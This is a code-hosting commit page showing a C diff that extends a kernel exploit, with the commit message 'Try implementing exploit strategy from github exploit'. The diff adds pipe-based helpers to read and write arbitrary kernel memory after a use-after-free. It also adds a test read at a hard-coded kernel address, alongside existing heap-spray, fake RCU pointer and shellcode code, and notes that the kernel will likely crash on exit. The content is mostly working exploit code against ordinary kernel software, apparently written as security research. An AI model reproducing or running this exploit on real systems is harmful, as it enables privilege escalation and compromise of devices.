Skip to content
Snippets Groups Projects
Commit 484469e6 authored by Werner Sembach's avatar Werner Sembach
Browse files

Try implementing exploit strategy from github exploit

parent c9c3b597
No related branches found
No related tags found
No related merge requests found
...@@ -163,6 +163,44 @@ void *set_fake_next_rcu() { ...@@ -163,6 +163,44 @@ void *set_fake_next_rcu() {
return NULL; return NULL;
}; };
int read_at_address_pipe(void *address, void *buf, size_t len) {
int ret = 1;
int pipes[2];
if (pipe(pipes))
return 1;
if (write(pipes[1], address, len) != len)
goto end;
if (read(pipes[0], buf, len) != len)
goto end;
ret = 0;
end:
close(pipes[1]);
close(pipes[0]);
return ret;
}
int write_at_address_pipe(void *address, void *buf, size_t len) {
int ret = 1;
int pipes[2];
if (pipe(pipes))
return 1;
if (write(pipes[1], buf, len) != len)
goto end;
if (read(pipes[0], address, len) != len)
goto end;
ret = 0;
end:
close(pipes[1]);
close(pipes[0]);
return ret;
}
void heap_spray_init() { void heap_spray_init() {
printf("[Spray] heap_spray_init start\n"); printf("[Spray] heap_spray_init start\n");
...@@ -273,6 +311,14 @@ void *server(void *arg) { ...@@ -273,6 +311,14 @@ void *server(void *arg) {
//printf("[Server] Shellcode return: %d\n", shellcode_return); //printf("[Server] Shellcode return: %d\n", shellcode_return);
printf("Exploit complete, let's try arbitrary write.\n");
char tester[8] = {};
if (read_at_address_pipe((void *) 0xFFFFFFC000008000LL, &tester, 4)) {
perror("Turn UAF to arbitrary read/write failed");
//while(1) {}
}
printf("Turn UAF to arbitrary read/write succeeded.\n");
server_finish = 1; server_finish = 1;
return NULL; return NULL;
} }
...@@ -341,7 +387,9 @@ int main(int argc, char *argv[]) { ...@@ -341,7 +387,9 @@ int main(int argc, char *argv[]) {
sleep(1); sleep(1);
} }
//heap_spray_finalize(); printf("Trying to exit, but kernel will most likely crash on freeing manipulated memory region.\n");
heap_spray_finalize();
return EXIT_SUCCESS; return EXIT_SUCCESS;
} }
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment